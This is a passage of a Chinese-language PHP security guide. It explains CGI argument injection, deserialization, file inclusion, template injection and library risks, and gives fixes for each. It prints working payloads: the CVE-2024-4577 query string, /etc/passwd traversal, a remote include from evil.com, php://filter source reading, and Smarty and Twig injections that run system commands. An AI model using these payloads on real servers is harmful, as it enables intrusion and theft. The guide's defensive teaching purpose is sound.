2.1 CGI参数注入漏洞#

这类漏洞的典型代表是 CVE-2024-4577，影响所有使用PHP CGI模式的Windows服务器。

漏洞原理：PHP在CGI模式下运行时，会解析HTTP请求中的参数。攻击者可以通过构造特殊的URL参数，绕过安全限制执行任意PHP代码。

1
// 正常请求
2
GET /index.php HTTP/1.1
3

4
// 恶意请求（利用CGI参数注入）
5
GET /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1

影响范围：

• PHP 5.x、7.x、8.x 所有版本（CGI模式）
• Windows服务器
• 使用XAMPP、WAMP等集成环境的开发机

修复方案：

• 升级到PHP官方发布的修复版本
• 在Web服务器层面过滤恶意参数
• 改用PHP-FPM代替CGI模式

2.2 反序列化漏洞#

PHP反序列化漏洞这几年一直是重灾区。问题出在unserialize()函数上，如果反序列化的数据来自用户输入，就可能触发对象注入攻击。

1
// 危险代码
2
$data = $_GET['data'];
3
$obj = unserialize($data);  // 用户可控的反序列化
4

5
// 如果存在以下类，就可能被利用
6
class FileHandler {
7
    public $filename;
8
    public function __destruct() {
9
        // 析构时自动执行
10
        system("cat " . $this->filename);
11
    }
12
}

攻击者可以构造恶意的序列化字符串，在反序列化时触发__destruct()、__wakeup()等魔术方法，执行任意命令。

常见的反序列化利用链：

• ThinkPHP框架
• Laravel框架
• WordPress插件
• 各种CMS系统

防护方法：

• 永远不要对用户输入进行unserialize()
• 使用json_decode()代替
• 如果必须反序列化，使用allowed_classes参数限制允许的类

1
// 安全的做法
2
$data = json_decode($userInput, true);
3

4
// 如果必须反序列化，限制允许的类
5
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);

2.3 文件包含漏洞#

文件包含漏洞分为本地文件包含（LFI）和远程文件包含（RFI）。当include()或require()的参数可控时，就可能被利用。

1
// 危险代码
2
$page = $_GET['page'];
3
include($page . '.php');  // 用户可控的文件包含
4

5
// 攻击者可以这样利用
6
// ?page=../../../../etc/passwd%00  （LFI读取敏感文件）
7
// ?page=http://evil.com/shell.txt  （RFI加载远程恶意代码）

利用技巧：

• 使用php://filter读取源码：?page=php://filter/convert.base64-encode/resource=index.php
• 使用php://input执行代码：配合POST请求体
• 日志投毒：将恶意代码写入日志文件，然后通过LFI包含日志

防护方法：

• 使用白名单限制可包含的文件
• 关闭allow_url_include配置
• 对包含路径进行严格的过滤和验证

2.4 模板注入漏洞#

很多PHP项目使用模板引擎（如Twig、Smarty、Blade），如果模板内容来自用户输入，就可能导致代码执行。

1
// Smarty模板注入
2
$smarty->display($_GET['template']);  // 用户可控的模板
3

4
// 攻击者可以注入
5
// ?template={php}system('id');{/php}
6

7
// Twig模板注入
8
$template = $twig->createTemplate($_GET['name']);
9
echo $template->render();
10

11
// 攻击者可以注入
12
// ?name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

防护方法：

• 永远不要让用户控制模板内容
• 使用模板引擎的安全模式
• 对用户输入进行严格的过滤

3.1 PHPMailer#

PHPMailer是最流行的PHP邮件发送库，但历史上多次出现RCE漏洞（如CVE-2016-10033）。

漏洞原理：mail()函数的第五个参数可以注入额外的命令行参数。

防护：升级到最新版本，避免使用mail()函数的第五个参数。

3.2 Imagick#

PHP的Imagick扩展用于处理图片，但ImageMagick底层库经常出现漏洞（如ImageTragick，CVE-2016-3714）。

1
// 危险代码
2
$imagick = new Imagick();
3
$imagick->readImage($_FILES['image']['tmp_name']);  // 用户上传的图片

防护：

• 升级ImageMagick到最新版本
• 使用策略文件限制支持的图片格式
• 对上传的图片进行严格的验证

3.3 Composer#

Composer是PHP的包管理器，但供应链攻击的风险一直存在。恶意包可能在安装时执行任意代码。

防护：

• 只使用官方仓库的包
• 定期审计依赖
• 使用composer audit检查已知漏洞